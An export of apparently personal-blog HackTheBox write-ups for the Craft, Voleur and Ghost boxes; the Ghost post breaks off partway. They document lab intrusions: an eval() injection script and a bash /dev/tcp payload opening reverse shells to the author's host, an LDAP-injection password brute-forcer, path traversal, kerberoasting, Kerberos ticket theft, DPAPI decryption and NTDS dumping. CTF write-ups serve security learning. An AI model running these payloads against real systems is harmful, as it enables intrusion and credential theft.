[{"content":" TL;DR - A brewery site points at a Gogs instance and a REST API. A public commit on Gogs leaks dinesh\u0026rsquo;s creds, and digging through the API code I find an eval() on the abv parameter of the /brew endpoint. I abuse it with a little python script for a reverse shell, landing inside a Docker container. The DB config there leaks MySQL creds, the user table hands me gilfoyle, and his repo has an id_rsa that logs me into the actual host over SSH (user.txt). For root, gilfoyle manages HashiCorp Vault, and there\u0026rsquo;s an SSH OTP role called root_otp, so I just ask Vault for a one-time password and SSH straight in as root.\nRecon As always, I started with a full nmap scan on the target.\nnmap -sV -sC -p- -oN nmap/craft 10.129.84.97 Three ports open. 443 is nginx 1.15.8, and then two SSH services, one on the default 22 and another on 6022, which is already a bit odd. Let\u0026rsquo;s start with the webpage on 443.\nPoking around the page and clicking the buttons on the right, one sends me to gogs.craft.htb and the other (the API one) to api.craft.htb, so I threw both on my /etc/hosts and went to look at each. Starting with the API.\nIt\u0026rsquo;s exactly what the name says, an API. Could be useful later, so I noted it and moved on to gogs.craft.htb.\nGogs is a self-hosted Git service, basically a lightweight GitHub you can spin up on your own server. So I went exploring and found some public repos.\nGogs leak → eval() injection in the API And there it is, credentials just sitting in a commit for the user dinesh:4aUh0A8PbVJxgd. I logged into Gogs as him and got straight in. Then, digging through the repo, I spotted something tasty, a possible command injection.\nLooking closer, you can send a POST request to /brew and abuse an eval() call. The vulnerable line is basically eval('%s \u0026gt; 1' % request.json['abv']), so whatever I stuff into the abv field gets evaluated as Python. There was even an open issue spelling it out for me.\nSo with valid creds (login gives you a token) and an example /brew request to work from, I wrote a little python3 script to chain it together (yeah, I\u0026rsquo;m putting my scripting to the test).\nimport requests import urllib3 urllib3.disable_warnings() url = \u0026#39;https://api.craft.htb/api/auth/login\u0026#39; r = requests.get(url, auth=(\u0026#39;dinesh\u0026#39;,\u0026#39;4aUh0A8PbVJxgd\u0026#39;), verify=False) print(r.status_code) print(r.text) token = r.json().get(\u0026#34;token\u0026#34;) url_brew = \u0026#39;https://api.craft.htb/api/brew/\u0026#39; cmd = \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.16.100 4444 \u0026gt;/tmp/f\u0026#39; craft_header = {\u0026#39;X-Craft-API-Token\u0026#39;: token} data = {\u0026#39;name\u0026#39;: \u0026#39;bullshit\u0026#39;, \u0026#39;brewer\u0026#39;: \u0026#39;bullshit\u0026#39;, \u0026#39;style\u0026#39;: \u0026#39;bullshit\u0026#39;, \u0026#39;abv\u0026#39;: f\u0026#34;__import__(\u0026#39;os\u0026#39;).system(\u0026#39;{cmd}\u0026#39;)\u0026#34; } r2 = requests.post(url_brew, headers=craft_header, json=data, verify=False) print(r2.status_code) print(r2.text) The script logs in as dinesh, grabs his token, then submits a POST to /brew with the code injection in the abv field. Fire it off with a listener ready and\u0026hellip;\nShell. Nice.\nOut of the container → the database Except, apparently I landed inside a Docker container, so I need to find a way over to the actual machine. Poking around, I found the database config file.\nInside were MySQL creds, craft:qLGockJ6G2J75O. I tried talking to the database with the mysql client but no luck, so I fell back to python instead.\npython -c \u0026#34;import pymysql; c=pymysql.connect(host=\u0026#39;db\u0026#39;,user=\u0026#39;craft\u0026#39;,password=\u0026#39;qLGockJ6G2J75O\u0026#39;,db=\u0026#39;craft\u0026#39;); cur=c.cursor(); cur.execute(\u0026#39;SHOW TABLES\u0026#39;); print(cur.fetchall())\u0026#34; Two tables, user and brew. Let\u0026rsquo;s see what\u0026rsquo;s in the users one.\npython -c \u0026#34;import pymysql; c=pymysql.connect(host=\u0026#39;db\u0026#39;,user=\u0026#39;craft\u0026#39;,password=\u0026#39;qLGockJ6G2J75O\u0026#39;,db=\u0026#39;craft\u0026#39;); cur=c.cursor(); cur.execute(\u0026#39;SELECT * FROM user\u0026#39;); print(cur.fetchall())\u0026#34; Three users. One we already know, and two new ones, ebachman:llJ77D8QFkLPQB and gilfoyle:ZEU3N8WNM2rh4T. I tried SSH with them first but no luck, so I went back to the Gogs webapp and logged in as gilfoyle (ebachman\u0026rsquo;s login didn\u0026rsquo;t work). And this guy is interesting, he seems to manage the infra for the server, and sitting in his repo was an id_rsa (and the matching pub key).\ngilfoyle → SSH → user.txt So I pulled the id_rsa down to my machine and just SSH\u0026rsquo;d in with it. It asked for a passphrase, I threw gilfoyle\u0026rsquo;s password at it, and I was in.\nWhich also gave me the user flag.\n382e8f2c0ca8e5707de44c0abd722413 Privilege escalation (Vault SSH OTP) Time to go for root. Looking around the box, I noticed gilfoyle is managing HashiCorp Vault, he\u0026rsquo;s got a .vault-token lying around, and checking secrets.sh\u0026hellip;\n\u0026hellip;I can see there\u0026rsquo;s an SSH role called root_otp that was set up. Vault\u0026rsquo;s SSH secrets engine can hand out one-time passwords for SSH, so if I can ask Vault for a root_otp credential, I get a valid one-time password to log in as root. No cracking, no keys, just ask nicely. After a bit of reading on how to pull a credential for a specific role, this is the command.\nvault write ssh/creds/root_otp ip=127.0.0.1 Got it, root:a75d7e9a-d2ff-f028-456f-ab13138f720f. Now all I have to do is SSH to root and paste that OTP as the password.\nssh root@127.0.0.1 And we\u0026rsquo;re root. Box done.\n66485079dcc63b6cb4aafd7cf35ae123 Kill chain summary Phase Vector Result Recon 443 webapp → gogs + api vhosts attack surface Foothold creds leaked in a Gogs commit dinesh on Gogs + API Shell eval() injection on the /brew abv param reverse shell (Docker container) Lateral DB config → MySQL user table gilfoyle creds + his id_rsa User SSH with gilfoyle\u0026rsquo;s key shell on the host (user.txt) Root HashiCorp Vault SSH OTP role root_otp root via one-time password (root.txt) Final thoughts Really nice box, the kind where every step is a logical breadcrumb into the next one. The eval() on the abv field is a lovely reminder of why you never feed user input into eval, and the Vault SSH OTP finish was something new for me, way cleaner than the usual kernel exploit or sudo misconfig. Also a good excuse to write some python instead of copy-pasting a PoC, which I\u0026rsquo;m always here for. Solid Medium, enjoyed this one.\n","permalink":"https://ctf-hallllow.blog/posts/craft/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Craft box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Linux-E95420?style=flat\u0026logo=linux\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Medium-orange?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - A brewery site points at a Gogs instance and a REST API. A public commit on Gogs leaks \u003ccode\u003edinesh\u003c/code\u003e\u0026rsquo;s creds, and digging through the API code I find an \u003ccode\u003eeval()\u003c/code\u003e on the \u003ccode\u003eabv\u003c/code\u003e parameter of the \u003ccode\u003e/brew\u003c/code\u003e endpoint. I abuse it with a little python script for a reverse shell, landing inside a Docker container. The DB config there leaks MySQL creds, the \u003ccode\u003euser\u003c/code\u003e table hands me \u003ccode\u003egilfoyle\u003c/code\u003e, and his repo has an \u003ccode\u003eid_rsa\u003c/code\u003e that logs me into the actual host over SSH (user.txt). For root, gilfoyle manages HashiCorp Vault, and there\u0026rsquo;s an SSH OTP role called \u003ccode\u003eroot_otp\u003c/code\u003e, so I just ask Vault for a one-time password and SSH straight in as root.\u003c/p\u003e","title":"HTB - Craft"},{"content":" TL;DR - An assumed-breach, Kerberos-only box starting with ryan.naylor:HollowOct31Nyt. A share holds a password-protected Access_Review.xlsx, cracked with John, which leaks cleartext creds for svc_ldap and svc_iis. BloodHound shows svc_ldap has WriteSPN over svc_winrm, so I add an SPN and kerberoast it, crack the hash, and get a WinRM shell (user.txt). svc_ldap is in restore_users, so I restore the deleted user todd.wolfe from the AD Recycle Bin, decrypt his DPAPI-protected credentials to get jeremy.combs, use a leaked SSH key to log in as svc_backup, and from there grab ntds.dit + SYSTEM, dump the hashes, and pass-the-key as Administrator for root.txt.\nRecon As usual I kicked off with nmap. One thing to keep in mind, this is an assumed-breach box, so it hands you some initial creds up front, ryan.naylor:HollowOct31Nyt, and we build the whole thing from there.\nnmap -sV -sC -p- 10.129.84.4 -oN nmap/voleur -Pn This looks like a domain controller, we\u0026rsquo;ve got LDAP and Kerberos open. So the first thing I did was validate the creds to see what ryan can actually touch. Small heads-up: NTLM is off on this box, so it\u0026rsquo;s Kerberos only, which means -k goes on basically every command. Forget it once and you\u0026rsquo;ll be staring at auth errors wondering what you broke. Ask me how I know.\nnxc smb dc.voleur.htb -u \u0026#39;ryan.naylor\u0026#39; -p \u0026#39;HollowOct31Nyt\u0026#39; -k Then I wanted to enumerate the shares this user has access to.\nnxc smb dc.voleur.htb -u \u0026#39;ryan.naylor\u0026#39; -p \u0026#39;HollowOct31Nyt\u0026#39; -k --shares Found some interesting shares, so I used the spider_plus module to enumerate what\u0026rsquo;s inside them faster and pull everything down.\nnxc smb dc.voleur.htb -u \u0026#39;ryan.naylor\u0026#39; -p \u0026#39;HollowOct31Nyt\u0026#39; -k -M spider_plus -o DOWNLOAD_FLAG=True I downloaded the files to my machine to go through them properly, and found an interesting one called Access_Review.xlsx, so I opened it.\nBut it\u0026rsquo;s password protected, so I cracked it with John.\noffice2john Access_Review.xlsx \u0026gt; hash.txt # extract the hash john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # crack it It cracked to football1, so now I can read the file.\nThe file has some user entries and notes, and even some cleartext passwords for a couple of users in the notes, svc_ldap:M1XyC9pW7qT5Vn and svc_iis:N5pXyW1VqM7CZ8. I validated both with nxc.\nnxc ldap dc.voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -k nxc ldap dc.voleur.htb -u svc_iis -p N5pXyW1VqM7CZ8 -k Both valid, two more accounts in the pocket. Before charging in I ran BloodHound, because I\u0026rsquo;ve got 3 users now and I\u0026rsquo;d rather know who they actually are and what they can touch than start poking at things blindly.\nbloodhound-python -u ryan.naylor -p HollowOct31Nyt -ns 10.129.84.4 -d voleur.htb -c all BloodHound → kerberoasting via WriteSPN I ingested the files into the BloodHound GUI and got some interesting results.\nsvc_ldap has WriteSPN over svc_winrm (so I can kerberoast that service), and through the restore_users group it also has GenericWrite over lacey.miller and over the Second-Line Support OU (keep that restore_users membership in mind, it comes back later). Let\u0026rsquo;s start with lacey.miller. The plan with GenericWrite is to add an SPN to her account and then kerberoast her, so I used bloodyAD to set the SPN.\nbloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p \u0026#39;M1XyC9pW7qT5Vn\u0026#39; -k set object lacey.miller servicePrincipalName -v \u0026#39;HTTP/fake.voleur.htb\u0026#39; And now I can just kerberoast her.\nnxc ldap dc.voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn --kerberoasting hash.txt -k Nice, let\u0026rsquo;s save the hash and send it to John. And\u0026hellip; yeah, that one just refused to die. Rockyou, rules, the works, nothing came out. Classic rabbit hole, and I burned a solid while on it before admitting defeat. No stress though, I still have WriteSPN over svc_winrm, so let\u0026rsquo;s pull the exact same trick on that account instead and hope it\u0026rsquo;s less stubborn.\nbloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p \u0026#39;M1XyC9pW7qT5Vn\u0026#39; -k set object svc_winrm servicePrincipalName -v \u0026#39;HTTP/fake2.voleur.htb\u0026#39; Then I ran the same kerberoast command as before and got the hashes.\nCracked it with John, this time for svc_winrm.\nAnd this one cracked no problem, svc_winrm:AFireInsidedeOzarctica980219afi. Much better. Let\u0026rsquo;s validate it.\nThe creds are valid, but WinRM here only accepts a Kerberos ticket, so I need to request a TGT for that user first.\ngetTGT.py voleur.htb/svc_winrm:\u0026#39;AFireInsidedeOzarctica980219afi\u0026#39; -dc-ip 10.129.84.4 So I requested the TGT, exported it to KRB5CCNAME, and logged in with evil-winrm.\nexport KRB5CCNAME=svc_winrm.ccache evil-winrm -i dc.voleur.htb -r voleur.htb And boom, we\u0026rsquo;ve got a shell on the box. First flag in the bag:\n9de8d27b9156b07a333c896e7e4c4da9 Restoring a deleted user (AD Recycle Bin) Next step, and this is where it gets fun. Back on that Excel there was a user flagged as deleted, with his password sitting right there in cleartext. And remember svc_ldap sits in the restore_users group? Yeah, time for a bit of Active Directory necromancy, we\u0026rsquo;re bringing a dead account back to life. First I checked which user was actually deleted, I had my money on todd.wolfe since we\u0026rsquo;d already seen him in the Excel.\nbloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p \u0026#39;M1XyC9pW7qT5Vn\u0026#39; -k get children --target \u0026#39;CN=Deleted Objects,DC=voleur,DC=htb\u0026#39; Confirmed, todd.wolfe is the deleted user. Let\u0026rsquo;s get him back. For this I requested a TGT for svc_ldap and then used bloodyAD to restore the account.\ngetTGT.py voleur.htb/svc_ldap:\u0026#39;M1XyC9pW7qT5Vn\u0026#39; -dc-ip 10.129.84.4 export KRB5CCNAME=svc_ldap.ccache bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p \u0026#39;M1XyC9pW7qT5Vn\u0026#39; -k set restore \u0026#39;todd.wolfe\u0026#39; And just like that, todd is back from the grave, todd.wolfe:NightT1meP1dg3on14. Let\u0026rsquo;s make sure the resurrection actually took.\nAlive and kicking. Enumerating the shares again as todd, I found he has access to another folder inside the IT share, this time called Second-Line Support. Inside looks like an archive for users who already left the company, basically everything that was on that user\u0026rsquo;s machine, this time for todd.wolfe.\nDPAPI → jeremy.combs Inside todd\u0026rsquo;s archived profile is a copy of his old Windows data, and this is where DPAPI enters the chat. Quick rundown if you\u0026rsquo;ve never played with it: Windows keeps protected secrets (saved credentials and that kind of thing) under the user\u0026rsquo;s AppData, encrypted with a DPAPI master key, and that master key is itself encrypted with the user\u0026rsquo;s password plus their SID. So if I\u0026rsquo;ve got todd\u0026rsquo;s password, I can peel the master key open, and then use it to crack the credential blob sitting next to it. That\u0026rsquo;s the theory anyway, let\u0026rsquo;s see if it holds.\nI found the master key, so I used dpapi.py to decrypt it with todd\u0026rsquo;s password and SID.\ndpapi.py masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password \u0026#39;NightT1meP1dg3on14\u0026#39; Then I used that decrypted key to decrypt the protected credential file.\ndpapi.py credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83 And this file revealed creds for another user, jeremy.combs:qT3V9pLXyN7W4m. Let\u0026rsquo;s test it.\nValid, so back to BloodHound I marked this user as owned to see the next step. This guy is from third-line support, so maybe he\u0026rsquo;s got a folder on the SMB share too, and yeah he does. Inside were 2 files, an id_rsa (probably to SSH on port 2222) and a Note.txt.\nSSH as svc_backup → NTDS dump The note just points us to SSH, and it mentions svc_backup, so let\u0026rsquo;s log in as that user with the key on port 2222.\nAnd we\u0026rsquo;re in. Now hold on, a backup service account, on a domain controller? Oh, you already know where this is heading. That screams NTDS.dit, so let\u0026rsquo;s go dig it out. I did a quick search for the files on the system and pulled them over to my machine.\nThen with secretsdump.py I dumped all the hashes.\nsecretsdump.py -ntds ntds.dit -system SYSTEM LOCAL And there it is, every hash on the domain, Administrator included. I don\u0026rsquo;t even need to crack anything, I\u0026rsquo;ll just grab a TGT straight from his AES key (pass-the-key) and walk in through the front door.\ngetTGT.py voleur.htb/Administrator -aesKey f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb Export the ticket, open a session as Administrator, and the box is done.\nRoot flag:\n4adaf757d6eff2fca6620789ba6320dc Kill chain summary Phase Vector Result Recon assumed breach ryan.naylor, SMB spider Access_Review.xlsx (cracked: football1) Foothold cleartext creds in the xlsx notes svc_ldap + svc_iis User WriteSPN over svc_winrm → kerberoast + TGT WinRM shell (user.txt) Lateral restore_users → restore todd.wolfe from Recycle Bin todd\u0026rsquo;s archived profile Lateral DPAPI master key + credential decrypt jeremy.combs → SSH key → svc_backup Root grab ntds.dit + SYSTEM, secretsdump, pass-the-key Administrator (root.txt) Final thoughts Long one, but a really clean chain once the pieces click. What I liked most is how everything loops back on itself, that restore_users group gave me the ACLs to kerberoast AND the power to raise todd from the dead, and todd\u0026rsquo;s DPAPI loot then handed me the next user. No single crazy exploit, just one solid pivot feeding into the next. The Kerberos-only setup kept me honest too, no lazy NTLM shortcuts, you actually have to babysit your tickets the whole way through. Really enjoyed this one.\n","permalink":"https://ctf-hallllow.blog/posts/voleur/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Voleur box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Medium-orange?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - An assumed-breach, Kerberos-only box starting with \u003ccode\u003eryan.naylor:HollowOct31Nyt\u003c/code\u003e. A share holds a password-protected \u003ccode\u003eAccess_Review.xlsx\u003c/code\u003e, cracked with John, which leaks cleartext creds for \u003ccode\u003esvc_ldap\u003c/code\u003e and \u003ccode\u003esvc_iis\u003c/code\u003e. BloodHound shows \u003ccode\u003esvc_ldap\u003c/code\u003e has \u003ccode\u003eWriteSPN\u003c/code\u003e over \u003ccode\u003esvc_winrm\u003c/code\u003e, so I add an SPN and kerberoast it, crack the hash, and get a WinRM shell (user.txt). \u003ccode\u003esvc_ldap\u003c/code\u003e is in \u003ccode\u003erestore_users\u003c/code\u003e, so I restore the deleted user \u003ccode\u003etodd.wolfe\u003c/code\u003e from the AD Recycle Bin, decrypt his DPAPI-protected credentials to get \u003ccode\u003ejeremy.combs\u003c/code\u003e, use a leaked SSH key to log in as \u003ccode\u003esvc_backup\u003c/code\u003e, and from there grab \u003ccode\u003entds.dit\u003c/code\u003e + \u003ccode\u003eSYSTEM\u003c/code\u003e, dump the hashes, and pass-the-key as \u003ccode\u003eAdministrator\u003c/code\u003e for root.txt.\u003c/p\u003e","title":"HTB - Voleur"},{"content":" TL;DR - A long one. A boolean LDAP injection on the intranet lets me log in as kathryn.holland with */*, then brute-force the password of gitea_temp_principal. Inside Gitea the Ghost CMS repo has a path traversal that reads /proc/self/environ for the DEV_INTRANET_KEY, and the dev API behind that key has a command injection, which gives me a shell in a Linux container running as root. Its env leaks intranet_principal, a real domain account. From there it is all AD: kerberoast adfs_gmsa, grab a cached Kerberos ticket for florence.ramirez, coerce justin.bradley with a fake DNS record plus Responder and crack his hash (user.txt). justin can read the adfs_gmsa gMSA password, so I forge a Golden SAML to log into the ADFS-protected MSSQL console, pivot through a linked server to PRIMARY, impersonate sa for RCE, abuse SeImpersonate to get SYSTEM on corp.ghost.htb, and finally forge a cross-domain Golden Ticket to own ghost.htb and grab root.txt.\nRecon Started with a full port scan against the target:\nnmap -sV -sC -p- 10.129.231.105 -oN nmap/ghost With the scan in hand I can tell the target is a DC, I\u0026rsquo;m almost 100% sure because of all the LDAP and Kerberos ports. The scan also leaks a couple of domains like DC01.ghost.htb and ghost.htb, so I grabbed those and threw them on my /etc/hosts. Then I went to the web server, but no luck, it just threw a not found error.\nThis is an Insane box though, so there\u0026rsquo;s probably a ton of stuff hiding behind vhosts and I\u0026rsquo;m about to walk into a rabbit hole or two. I started enumerating subdomains and found core.ghost.htb.\nSo I added it to my /etc/hosts and opened it up.\nAnd it just redirected me to federation.ghost.htb.\nThis one caught my eye. It\u0026rsquo;s Active Directory Federation Services, Microsoft\u0026rsquo;s SSO, and where there\u0026rsquo;s ADFS there are usually more hosts around it, so I ran a ffuf scan to look for more subdomains.\nffuf -w /usr/share/seclist/Discovery/DNS/subdomains-top1million-5000.txt -u http://ghost.htb:8008 -H \u0026#34;Host: FUZZ.ghost.htb\u0026#34; -ac And I found 2 more subdomains, added them to my /etc/hosts and went to investigate. I visited intranet.ghost.htb and got yet another login page.\nI jumped straight to gitea.ghost.htb, just to see if I could get a quick win there.\nThere\u0026rsquo;s the Gitea landing page. Gitea is basically like GitHub but you can host it on your own server. Let\u0026rsquo;s see if we can explore something here, because it\u0026rsquo;s probably connected to the AD itself since it\u0026rsquo;s hosted there, and the credentials might be stored on the LDAP server. I found a username, cassandra.shelton, but nothing useful, so I went back to intranet.ghost.htb and intercepted a simple request.\nLDAP injection → intranet In that request I could see it building something called l_ldap-username, so maybe it\u0026rsquo;s querying the LDAP server. I already knew about LDAP injection, so I went to research how to reproduce it here. I tried a few things, and it turns out that putting * in both the username and the password just logs you straight in. The * works as a wildcard inside the LDAP filter, so instead of matching one specific account it matches the first one it finds, and the login goes through.\nWe\u0026rsquo;re in as kathryn.holland. Let\u0026rsquo;s see what we can get from here. Turns out I can\u0026rsquo;t do much inside, the only thing I saw was a bunch of users.\nFrom what I could read, they\u0026rsquo;re migrating from Gitea to Bitbucket, and the only account that can still log into Gitea is gitea_temp_principal, which uses an intranet token as its password. That token isn\u0026rsquo;t shown anywhere on the page, you\u0026rsquo;re supposed to ask IT for it or pull it from an LDAP attribute. So if I\u0026rsquo;ve got LDAP injection, maybe I can just read that password myself and get into Gitea.\nSo my idea was: maybe gitea_temp_principal has a password or token stored in some LDAP attribute. First I confirmed the user really exists on LDAP.\nAnd it does. Next was figuring out which attribute the password is stored in. This is a bit tricky, it\u0026rsquo;s a boolean LDAP injection, so if the next char matches the one I specify it gives a different response, and you have to trial and error your way through. I put my programming skills to the test and wrote a little python script to speed things up. I tried enumerating the attributes but no luck, it was pretty hard, so I thought, well I can just brute-force the password with this same technique. (Why the hell didn\u0026rsquo;t I think of this earlier, my god.)\nSo with the help of this website I made this python script:\nimport requests, string, urllib3 urllib3.disable_warnings() URL = \u0026#34;http://intranet.ghost.htb:8008/login\u0026#34; ACTION = \u0026#34;c471eb076ccac91d6f828b671795550fd5925940\u0026#34; BOUNDARY = \u0026#34;----geckoformboundary948e638b493906a526da002dbc2882b0\u0026#34; USER = \u0026#34;gitea_temp_principal\u0026#34; CHARSET = string.ascii_letters + string.digits + \u0026#34;!@#$%^\u0026amp;*()-_+=.\u0026#34; H = { \u0026#34;Next-Action\u0026#34;: ACTION, \u0026#34;Content-Type\u0026#34;: f\u0026#34;multipart/form-data; boundary={BOUNDARY}\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://intranet.ghost.htb:8008\u0026#34;, \u0026#34;Referer\u0026#34;: URL, } def req(secret): b = f\u0026#34;--{BOUNDARY}\u0026#34; parts = [ \u0026#39;Content-Disposition: form-data; name=\u0026#34;1_$ACTION_REF_1\u0026#34;\\r\\n\\r\\n\u0026#39;, f\u0026#39;Content-Disposition: form-data; name=\u0026#34;1_$ACTION_1:0\u0026#34;\\r\\n\\r\\n{{\u0026#34;id\u0026#34;:\u0026#34;{ACTION}\u0026#34;,\u0026#34;bound\u0026#34;:\u0026#34;$@1\u0026#34;}}\u0026#39;, \u0026#39;Content-Disposition: form-data; name=\u0026#34;1_$ACTION_1:1\u0026#34;\\r\\n\\r\\n[{}]\u0026#39;, \u0026#39;Content-Disposition: form-data; name=\u0026#34;1_$ACTION_KEY\u0026#34;\\r\\n\\r\\nk2982904007\u0026#39;, f\u0026#39;Content-Disposition: form-data; name=\u0026#34;1_ldap-username\u0026#34;\\r\\n\\r\\n{USER}\u0026#39;, f\u0026#39;Content-Disposition: form-data; name=\u0026#34;1_ldap-secret\u0026#34;\\r\\n\\r\\n{secret}\u0026#39;, \u0026#39;Content-Disposition: form-data; name=\u0026#34;0\u0026#34;\\r\\n\\r\\n[{},\u0026#34;$K1\u0026#34;]\u0026#39;, ] data = \u0026#34;\u0026#34;.join(f\u0026#34;{b}\\r\\n{p}\\r\\n\u0026#34; for p in parts) + f\u0026#34;{b}--\\r\\n\u0026#34; return requests.post(URL, headers=H, data=data.encode(), verify=False, timeout=15, allow_redirects=False).status_code def esc(s): return s.replace(\u0026#34;\\\\\u0026#34;,\u0026#34;\\\\5c\u0026#34;).replace(\u0026#34;(\u0026#34;,\u0026#34;\\\\28\u0026#34;).replace(\u0026#34;)\u0026#34;,\u0026#34;\\\\29\u0026#34;).replace(\u0026#34;*\u0026#34;,\u0026#34;\\\\2a\u0026#34;) pw = \u0026#34;\u0026#34; while True: for c in CHARSET: if req(f\u0026#34;{esc(pw+c)}*\u0026#34;) == 303: pw += c print(f\u0026#34;\\r{pw}\u0026#34;, end=\u0026#34;\u0026#34;, flush=True) break else: break print(f\u0026#34;\\n[+] {pw}\u0026#34;) And after a while I got the password.\nSo the creds are gitea_temp_principal:szrr8kpc3z6onlqf, let\u0026rsquo;s give it a go on Gitea.\nAnd we\u0026rsquo;re in, they\u0026rsquo;re valid. Before moving forward, I took all the users I found earlier and validated which ones exist on the domain with kerbrute.\nkerbrute userenum -d ghost.htb --dc ghost.htb users.txt And they\u0026rsquo;re all there. Back to Gitea, I found this repo.\nGitea → path traversal → command injection They\u0026rsquo;re using Ghost CMS, modified a bit to work the way they want. In the repo there\u0026rsquo;s an API key lying around, with a note saying it\u0026rsquo;s no problem since it\u0026rsquo;s an internal repo. So maybe this is a pivot. After inspecting their custom code post-public.js I found a potential path traversal.\nBasically if you search for posts on the API and pass an extra argument, you might get path traversal, so let\u0026rsquo;s try it. I hit the posts endpoint with the API key and an extra argument (it has to be called exactly that):\nhttp://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a\u0026amp;extra=../../../../../../etc/passwd And yeah, the path traversal works. The README said the DEV_INTRANET_KEY is stored as an ENV variable, so I can just read the env from /proc/self/environ:\nhttp://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a\u0026amp;extra=../../../../../../proc/self/environ And there\u0026rsquo;s our DEV_INTRANET_KEY, !@yqr!X2kxmQ.@Xe. Next question is where do I use it. Back to the README, it says the API key is used for some features still in development, so I need to find which features and how to reach them with the key. There\u0026rsquo;s another repo dedicated to the intranet.\nMaybe here we find the endpoint where we\u0026rsquo;ll use the API key. The README mentions an endpoint http://intranet.ghost.htb/api-dev and says that until dev is done you can use this. After inspecting the repo I found this file on the backend.\nHere we see you can pass DEV_INTRANET_KEY in the header to reach resources that are only accessible with the API key, so I need to find which endpoint to hit. I found the file inside the dev folder.\nAnd looking at the code, I spot a potential command injection. Sweet, so let\u0026rsquo;s hit api-dev/scan, provide the API key and see what we can do.\nCommand injection confirmed on that endpoint. Just to recap how I got here: I found the API key, got access to the dev environment which only has some features, and one of them scans URLs on the internet. At first I thought maybe SSRF, but after reading the code I saw it was command injection. So I send a POST to /api-dev/scan with the payload in the body and get a shell. Here\u0026rsquo;s the payload I crafted:\n{\u0026#34;url\u0026#34;:\u0026#34;; bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.100/4444 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34;} With a listener on my attack host, I caught the shell.\nFrom the container to the domain We\u0026rsquo;re in, but apparently inside a Linux docker container, and lucky us we\u0026rsquo;re root. Looking at the env variables I found some interesting ones.\nThe LDAP_BIND_PASSWORD is the password of the service account the intranet uses to bind to AD, so it\u0026rsquo;s a real domain account. Let\u0026rsquo;s check if those creds are valid against intranet_principal (one of the users I found earlier).\nAnd yes, intranet_principal:He!KA9oKVT3rL99j is a valid domain user. Let\u0026rsquo;s see what it can do. First I enumerated the SMB shares, could access them but nothing useful, so for a quick win I went for kerberoasting:\nnxc ldap ghost.htb -u intranet_principal -p \u0026#39;He!KA9oKVT3rL99j\u0026#39; --kerberoasting And got a service hash for the adfs_gmsa account.\nI tried to crack it but no luck. Maybe I can read the cleartext password instead.\nBut no, only justin.bradley has rights to it. So I went back to the Linux host, because I\u0026rsquo;d been digging a lot without finding anything, the typical rabbit hole on these Insane boxes. Going to the root directory I found a .ssh folder, and inside a configmaster folder, which had a cached session for florence.ramirez on the dev-workstation.\nSo this means we can just SSH to that machine without any creds:\nssh florence.ramirez@ghost.htb@dev-workstation \u0026#34;cat /tmp/krb5cc_50 | base64 -w 0; echo\u0026#34; With this command we steal the Kerberos ticket of that user.\nThe ticket is base64 encoded, so let\u0026rsquo;s bring it over to our side.\nNow the ticket is on our side. Quick recap of what I did: I found a cached SSH session for that user, SSH\u0026rsquo;d to the workstation, stole the Kerberos ticket, encoded it to base64 to make it easier to move, brought it to my machine, saved it as a .ccache and loaded it so I could use it. Let\u0026rsquo;s confirm it\u0026rsquo;s valid.\nValid, and the ticket works. Let\u0026rsquo;s run BloodHound to see what this user can do. But BloodHound didn\u0026rsquo;t tell us anything, so after a long time I went back to the intranet portal and found something odd.\nCoercing justin.bradley Look, it seems some user is trying to reach bitbucket.ghost.htb. What if I take that domain, point it to me, and when that user tries to connect I steal their hash? Let\u0026rsquo;s see. I used bloodyAD to assign the DNS name to my IP.\nThen I started Responder on my machine, and almost instantly, bamm.\nI got the hash for justin.bradley, let\u0026rsquo;s crack it.\nGot the password, justin.bradley:Qwertyuiop1234$$, let\u0026rsquo;s validate it.\nValid, nice. Remember earlier when I tried to read the gMSA password and it said only justin.bradley had the rights? Well, now I\u0026rsquo;m him. But first the user flag, so I logged in with evil-winrm and grabbed it:\n6b3ccc488dc89539c4d2cf873c1fb268 And then, yeah, now I can read the gMSA password.\nLet\u0026rsquo;s check if 